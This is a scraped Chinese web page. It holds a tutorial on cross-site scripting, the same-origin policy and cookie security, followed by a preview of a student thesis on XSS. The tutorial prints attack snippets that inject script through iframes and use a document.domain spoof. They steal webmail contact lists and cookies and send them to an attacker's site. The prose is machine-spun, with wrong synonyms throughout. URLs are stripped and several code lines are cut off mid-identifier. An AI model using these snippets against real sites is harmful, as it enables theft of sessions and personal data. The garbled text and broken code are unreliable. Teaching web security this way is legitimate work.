跨站脚本攻击深入解析（上） 分享 - 谷普下载跨站脚本攻击深入解析（上）点击复制内容
　　的名称源自于这样一个事实，即一个Web 站点(或者人)可以把他们的选择的代码超出安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的涉猎器中履行时，者就能窃取相应的敏感数据，并强迫用户做一些用户非本意的事情。　　在本文中，我们论述涉猎器方面的安全措施，以及如何利用（XSS）这种常见的技巧来规避涉猎器的安全措施。在正式讨论跨站脚本之前，我们必须首先要对现有的安全措施有所领会，所以本文将详细介绍当前Web使用所采取的安全措施，如同源策略、cookie安全模型以及Flash的安全模型。　　一、Web安全模型　　尽管涉猎器的安全措施多种多样，但是要想黑掉一个Web使用，只要在涉猎器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的法子即可。涉猎器的各种保安措施之间都试图维持相互独立，但是攻击者只要能在出错的地方注入少许JavaScript，所有安全把持几乎整个瓦解&&最后还起作用的就是最弱的安全防线：同源策略。同源策略管辖着所有保安措施，然而，由于涉猎器及其插件，诸如Acrobat Reader、Flash 和Outlook Express漏洞频出，致使同源策略也频频告破。在本文里，我们主要讨论涉猎器的三个安全模型：　　1.同源策略　　2.cookies安全模型　　3.Flash安全模型　　此外，我们还会介绍如何利用JavaScript代码削弱这些安全模型的法子。　　二、同源策略　　同源策略又名同域策略是涉猎器中的主要安全措施。这里的&源&指的是主机名、协议和端口号的组合；我们可以把一个&源&看作是某个web页面或涉猎器所涉猎的信息的创建者。 同源策略，简单地说就是要求动态内容（例如，JavaScript或者VBScript）只能导语与之同源的那些HTTP应答和cookies，而不能导语来自不同源的内容。更为有趣的是，同源策略对写操作没有任何限制。因而，一个web站点可以向任何其他的Web站点发送（或写入）HTTP请求，尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。　　解释同源策略的最好的法子是实例说明。假定我们在网页中放上了JavaScript代码。那么，这些JavaScript可以读/写一些页面，但是却不能读/写其他页面。下表说明潦攀来自的JavaScript可以造访哪些URL。　　URL 能否造访这个URL 原因　　　　可以。　　协议和主机名匹配。　　端口没有显式说明。　　该端口被假设为80。注意，两者的是不同的。这个是/而非/bar。　　　　可以。 协议和主机名匹配。　　端口没有显式说明。　　该端口被假设为80。注意目录的差别这里的目录是/cgi-bin/version2，而非上面的/bar。　　:80/bar/baz.html 可以。 具有几乎相同的URL，HTTP协议匹配，端口是80（HTTP默认的端口），主机名也一样。　　/bar/baz.html　　不可以。 协议不同，这里应用的协议是HTTPS。　　　　不可以。 两个主机名不同，这里的主机名是而不是。　　:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080，而前面的端口被假定为80。　　上表说明了当试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置，可以使涉猎器有限度地违反同源策略，即，如果页面中含有下列内容：　　& script &　　document.domain = &&;　　& / script &　　那么任何页面内的脚本都可以向发送HTTP请求，并可以读取其内容。在此种情况下，如果攻击者能够向中注入HTML或JavaScript的话，那么他同时也能在中注入JavaScript代码。 　　为此，攻击者需要首先在（其document.domain设为）中注入HTML和JavaScript，并向（其document.domain也设为）中载入一个iframe，然后就可以通过JavaScript来造访该iframe的内容了。例如，中的下列代码将在域中履行一个JavaScript的alert（）函数：
　　& iframe src=&&　　onload=&frames[0].document.body.innerHTML+=&&img src=x　　onerror=alert(1)&&&& / iframe &　　这样，document.domain将允许攻击者跨域活动（域际旅行）。注意，你不能在document.domain变量中放入任何域名，相反，只能在document.domain变量中放置&源&页面即所在页面的域名的上级域名，如的上级域名是 。　　在Firefox涉猎器中，攻击者可以利用__defineGetter__()来操纵document.domain，命令document.domain返回攻击者所选的任意字符串。这个不会损害涉猎器的同源策略，因为它只对JavaScript引擎有影响，而不会影响底层的文档对象模型(DOM)，然而这对于依靠document.domain在后台进行跨域请求的JavaScript使用程序却是有影响的。例如，假如一个后台请求?callback=callbackFunction的应答的HTTP体如下所示：　　function callbackFunction() {　　if ( document.domain == &&) {　　return &Confidential Information&;　　}　　return &Unauthorized&;　　}　　通过诱骗受害者造访（攻击者的）包孕下列脚本的页面，攻击者就可以可以获得保密资料：　　& script &　　function callbackFunction() {return 0;}　　document.__defineGetter__(&domain&, function() {return &&});　　setTimeout(&sendInfoToEvilSite(callbackFunction())&,1500);　　& / script &　　&script src=&?callback=callbackFunction&&　　& / script &　　这段HTML代码利用__defineGetter__()对document.domain进行了设置，并且建立了一个针对?callback=callbackFunction的跨域请求。最后，它会在1.5秒&&对于涉猎器建立到达的请求来说，这个光阴已经够宽裕了&&之后调用sendInfoToEvilSite(callbackFunction())。因此，我们不应扩展document.domain来用作它用。　　如果同源策略失守，成果如何？同源策略使得一个&邪恶的&Web 站点无法造访其它的Web 站点，然而，一旦同源策略被攻破，成果将会如何？攻击者将可以作哪些事情？下面让我们考察一个假想的例子。　　假如一位攻击者在建立了一个页面，该页面可以导语来自其它域的HTTP应答，例如来自一个webmail使用程序的应答等，并且攻击者可以诱骗webmail用户造访。那么，攻击者将能导语受骗用户的通信录。 为此，攻击者可以在中放入　　下列JavaScript代码：　　& html & 　　& body &　　&iframe style=&display:none& name=&WebmailIframe&　　src=&&& &!-- Step 1 --&　　& / iframe &　　& form action=&& name=&EvilForm& &　　& input type=&hidden& name=&contacts& value=&default value& &　　& /form &　　现在，您所有联系人都已经落入我们的手中了。　　& /body &　　& script &　　function doEvil() {　　var victimsContactList = document.WebmailIframe.innerH /* Step 3 */　　document.EvilForm.contacts = victimsContactL　　document.EvilForm.　　}　　setTimeout(&doEvil()&, 1000); /* Step 2 */　　& / script &　　& / html &　　第一步应用了一个名为WebmailIframe的iframe来装载，它是webmail使用程序中的一个调用，用以收集用户的联系人名单。　　第二步是等待1秒钟，然后履行JavaScript函数doEvil（）。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后，doEvil（）尝试造访在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话，攻击者就已经在变量victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至的服务器。　　如果攻击者利用跨站请求捏造（CSRF）技巧以受害者的名义向所有联系人发送电子邮件的话，情况会变得更糟：这些联系人将收到一封貌似来自朋友的电子邮件，并且在邮件中邀请他们点击。
　　注意，如果同源策略失守的话，那么任何Web使用都容易受到攻击，而不仅仅是Webmail使用。 这时Web将没有安全可言，目前的许多安全钻研的焦点都集中在攻破同源策略上面。 过不了多久，您就会有惊奇的发现。　　三、Cookie安全模型　　HTTP是一种无状态协议，这意味着一个HTTP请求/应答对跟另一个HTTP请求/应答对毫不相干。随着HTTP的发展，开发人员愿望能够维护所有请求/应答的某些数据，这样他们就能够建立更丰厚多彩的Web使用。为此，RFC2109建立了一种标准，每个HTTP请求可以利用HTTP头部自动地将来自用户的数据（又称为cookie）发送给服务器。无论是web页面还是服务器，都可以读/写这个数据。一般情况下，可以通过JavaScript的document.cookie来造访cookie，而cookie通常是由一些名字和值对组成，如下所示：　　CookieName1=CookieValue1; CookieName2=CookieValue2;　　由于Cookie经常用来诸如认证证书之类的机密信息的，为了保护这些信息，RFC2109为其定义潦攀类似于同源策略的安全策略。服务器定为cookies的主把持器，服务器不仅可以对cookie进行读写操作，而且还能为cookie配置安全属性。cookie的安全属性如下所示：　　1.Domain:这个属性的用途与同源策略类似，但是具有更多的限制。就像同源策略一样，domain在默认时为HTTP请求的Host头部中的域名，但是domain也可以设置成更高一级的域名。例如，如果HTTP请求的Host头部中的域名为x.，那么x.站点可把cookies设为用于所有*.域，但是x.站点却不能把cookies设为用于所有*.z.com&&因为前面说过，只能比HTTP请求的Host头部中的域名高出一个级别，当然，任何域都不能将cookies设为用于顶级域名，如*.com，这是不允许的。　　2.Path:这个属性是用来提高域安全模型的把持力度，使其包孕URL路径。注意，属性path是可选的，如果设置了它，那么cookie只会发送给路径与属性path相吻合的那些服务器。例如，如果建立了一个路径属性设为/a的cookie；那么该cookie只会发送给所有*范围内的请求。但是，当人们向或的请求时，该cookie不会发送。　　3.Secure:如果一个cookie设置了该属性，那么只有遇到HTTPS请求时才发送该cookie。注意，HTTP和HTTPS的响应都可以对属性secure进行相应的设置。因此，一个HTTP请求/应答可以改变HTTPS的cookie的secure设置。对于某些高档中间人攻击来说，这是一个大。　　4.Expires:通常情况下，当涉猎器关闭时，cookies就会被删除。不过，您可以设置一个截止日期，在此之前，cookies将一直寄放在用户的机器上，并且对于每个HTTP请求都发送此cookie，直到期满为止。截止日期的款式一般为Wdy, DD-Mon-YYYY HH:MM:SS GMT。 通过设置属性expires为一个过去的日期，可以立即删除cookies。　　5.HttpOnly:这个属性对于Firefox和Internet Explorer都是新增的。它在Web使用中很少应用，因为它只对Internet Explorer有效。如果这个属性被设置，那么IE 将不允许导语该cookie，也不允许通过JavaScript的document.cookie对该cookie履行写操作。这个属性是用来防止攻击者窃取cookies来做坏事，不过，攻击者总是可以创建JavaScript来做等价的事情，所以即使不通过窃取cookies也无所谓。　　下面是带有安全属性cookies的示例代码：　　CookieName1=CookieValue1; domain=.; path=/a;　　CookieName2=CookieValue2; domain=x.; secure　　我们，像来自服务器端的JavaScript和VBScript代码可以通过造访变量document.cookie来对cookies进行读写操作，除非该cookie设置了HttpOnly属性并且用户正在应用IE。这是一个很大的安全隐患，黑客对此极为感兴趣，因为cookies通常含有认证证书，CSRF保护措施的信息和其他机密信息；此外，中间人攻击可以编辑HTTP通信中的JavaScript代码，呵呵，这简直就是一场恶梦。　　如果一位攻击者可以突破或绕过同源策略的话，就可以通过DOM的变量document.cookie轻松读取cookies。另外，写入新的cookies也是非常容易的，攻击者只要应用类似下列字符串款式来连接document.cookie变量即可：　　var cookieDate = new Date (
);　　document.cookie += &CookieName=CookieV& +
　　/* 以下各行均为可选内容 */　　&domain=.;& +　　&path=/a;& +　　&expires=& + cookieDate.toGMTString() + &;& +　　&& +　　&HttpO&　　读者可以对照全面讲述的内容自己理解上述代码，我想这并非难事。　　四、Cookies在创建和语法分析方面的安全隐患　　Cookies可以用于JavaScript、涉猎器、Web服务器、负载均衡系统及其他独立系统，每个系统都应用不同的代码来Cookies。毫无疑问，这些系统将以不同的方式来和导语cookies。攻击者也许能够将受害者已有的cookie中的一个调换掉，换上的cookie在系统看来表面上跟想要的那个没什么两样，但是实际上内容却大相径庭了。　　举例来说，攻击者也许能够添加一个cookie，而这个cookie恰好与受害者已有的cookies中的一个重名，这样攻击者就覆盖了本来的cookie。可以考虑一下大学的设置，其中一位攻击者具有一个公开的web页面，位于~attacker，同时该大学在https://webmail.daxue.edu/供给了一个webmail服务。攻击者可以自己制作一个cookie并且将域设为.daxue.edu，然后把它发送到https://webmail.daxue.edu/。假如这个cookie跟webmail用于认证的cookie同名的话，现在webmail系统读取的将是攻击者捏造的cookie，而不是webmail为用户所建立的cookie。　　这时候，webmail系统会将发送该cookie的人（即攻击者）当作是其他的人对待，并进入被冒充的人（即受害者）的webmail帐户。之后，攻击者就可以对受害者中的邮件做手脚，让账户内只留下一封电子邮件，并声称用户的电子邮件由于安全原因而被屏蔽，该用户必须转到~attacker/reAuthenticate(或者一个隐蔽的恶意）去重新登录才干看到他的所有邮件。攻击者可以建立一个重新认证连接，使其看上去像一个典型的大学登录页面那样要求受害者输入用户名和口令。当受害者递交个人信息后，用户名和口令会被发送给攻击者。　　实际上，仅仅注入cookie片段也可以使不同的系统读取不同的cookies。注意，cookies和造访把持应用相同的符号进行分隔：分号(;)。如果攻击者可以通过JavaScript添加cookies，或者cookies是根据一些用户输入来添加的，那么攻击者可以附加一个cookie片段，以利用该片段改变安全特征或者其它的cookies的值。　　五、利用JavaScript将Cookie安全模型降低至同源策略　　Cookie安全模型要比同源策略更安全一些，但是利用一些JavaScript，可以把cookie的域还原成跟同源策略的document.domain设置相同的安全级别，并且该cookie的path属性可以被完全绕过。　　我们还是应用前面的大学webmail的例子，这里假设攻击者在~attacker/创建了一个web页面，同时该大学在建有一个webmail系统。如果在中的某个页面的document.domain=&daxue.edu&，假设该页面为，那么攻击者可以通过引诱受害者到达~attacker/stealCookies.htm来窃取受害者的cookies，该页包孕以下代码：　　& script &　　function stealCookies() {　　var victimsCookies = document.getElementById(&iLoveIframes&).　　sendCookiesSomewhere(victimsCookies);　　}　　& / script &　　&iframe id=&iLoveIframes& onload=&stealCookies()&　　style=&display:none&　　src=&& &　　类似的，如果攻击者的个人页面位于~attacker/，webmail系统位于，同时webmail的cookie中的路径被设为path=/webmail，那么，，攻击者就可以通过诱使受害者涉猎 ~attacker/stealCookies.html来窃取受害者的cookie，其中这个页面包孕如下所示的恶意代码：　　& script &　　function stealCookies() {　　var victimsCookies = document.getElementById(&iLoveIframes&).　　sendCookiesSomewhere(victimsCookies);　　}　　& / script &　　&iframe id=&iLoveIframes& onload=&stealCookies()&　　style=&display:none&　　src=&& &
来源：谷普下载2015年2月 总版技术专家分月排行榜第二
2015年2月 Web 开发大版内专家分月排行榜第一2015年1月 Web 开发大版内专家分月排行榜第一2014年12月 Web 开发大版内专家分月排行榜第一2014年11月 Web 开发大版内专家分月排行榜第一2014年10月 Web 开发大版内专家分月排行榜第一
2009年9月 总版技术专家分月排行榜第一
2009年8月 总版技术专家分月排行榜第二
匿名用户不能发表回复！|
每天回帖即可获得10分可用分！小技巧：
你还可以输入10000个字符
(Ctrl+Enter)
请遵守CSDN，不得违反国家法律法规。
转载文章请注明出自“CSDN（www.csdn.net）”。如是商业用途请联系原作者。君，已阅读到文档的结尾了呢~~
项目1利用idaidq漏洞的攻击与防护,bash漏洞利用攻击代码,利用短文件名漏洞攻击,http host头攻击漏洞,跨站脚本攻击漏洞,java跨站脚本攻击漏洞,跨站脚本攻击防护,跨站脚本攻击漏洞修复,漏洞攻击,博彩网站漏洞攻击教材
扫扫二维码，随身浏览文档
手机或平板扫扫即可继续访问
项目1利用idaidq漏洞的攻击与防护
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由：
将文档分享至：
分享完整地址
文档地址：
粘贴到BBS或博客
flash地址：
支持嵌入FLASH地址的网站使用
html代码：
&embed src='/DocinViewer--144.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布，请您等待！
3秒自动关闭窗口您所在位置： &
&nbsp&&nbsp&nbsp&&nbsp
XSS跨站脚本攻击 论 文.doc全文-毕业论文-在线文档 18页
本文档一共被下载：
次 ,您可全文免费在线阅读后下载本文档。
下载提示
1.本站不保证该用户上传的文档完整性，不预览、不比对内容而直接下载产生的反悔问题本站不予受理。
2.该文档所得收入(下载+内容+预览三)归上传者、原创者。
3.登录后可充值，立即自动返金币，充值渠道很便利
需要金币：200 &&
你可能关注的文档：
··········
··········
深圳技师学院
毕业设计（论文）
论 文 题 目
XSS跨站脚本攻击
深圳技师学院
06网络技术G-5
指 导 教 师
（2010 年 12 月）
深圳技师学院摘要
XSS又叫CSS（Cross Site Script）,跨站脚本攻击。跨站脚本攻击以访问服务器的客户端为攻击目标,通过恶意脚本向第三方站点发送用户的信息。跨站脚本攻击是继SQL注入攻击后最为常用的攻击手段。XSS本质上是Web应用服务的漏洞,主要的攻击方法分别是在Web应用程序中偷cookie、利用iframe或frame存取管理页面或后台页面、利用XMLHttpRequest存取管理页面或后台页面。 XSS attacks
Cross Site Scripting
一、背景 4
1.什么是XSS攻击 4
2.XSS攻击的危害 4
3.XSS的攻击方式 4
4.XSS漏洞的类型 4
5.XSS攻击漏洞 5
二、XSS攻击实现 6
1.实施入侵 7
2.利用XSS盗取cookies 11
3.上传文件进行XSS攻击 12
三、XSS攻击的防御 12
1.基于特征的防御 13
2.基于代码修改的防御 14
3.web用户 14
4.web应用开发者 14
5.防御建议 15
参考文献 16
XSS攻击作为Web业务的最大威胁之一，不仅危害Web业务本身，对访问Web业务的用户也会带来直接的影响，如何防范和阻止XSS攻击，保障Web站点的业务安全呢？首先我们就要了解什么是XSS攻击。
1.什么是XSS攻击
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。它是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的缓冲区溢出攻击，而JavaScript是新型的“Shell Code”。
XSS漏洞按照攻击利用手法的不同，有以下三种类型：
　类型，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示：
　　A给B发送一个恶意构造了Web的URL。
　　B点击并查看了这个URL。
　　恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。
　　具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
　　A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。
　　类型，反射式漏洞，这种漏洞和类型有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。其攻击过程如下：
　　A经常浏览某个网站，此网站为B所拥有。B的站点运行A使用用户名/密码进行登录，并存储敏感信息(比如银行信息)。
　　C发现B的站点包含反射性的XSS漏洞。
　　C编写一个利用漏洞的URL，并将其冒充为来自B的邮件发送给A。
　　A在登录到B的站点后，浏览C提供的URL。
　　嵌入到URL中的恶意脚本在A的浏览器中执行，就像它直接来自B的服务器一样。此脚本盗窃敏感信息(授权、信用卡、信息等)然后在A完全不知情的情况下将这些信息发送到C的Web站点。
　　类型，存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。其攻击过程如下：
　　B拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。
　　C注意到B的站点具有类型的XXS漏洞。
　　C发布一个热点信息，吸引其它用户纷纷阅读。
　　B或者是任何的其他人如A浏览该信息，其会话cookies或者其它信息将被C盗走。
类型直接威胁用户个体，而类型和类型所威胁的对象都是企业级Web应用，目前天清入侵防御产品所能防范的XSS攻击包括类型和类型。
XSS 攻击的过程涉及以下三方：攻击者
正在加载中，请稍后...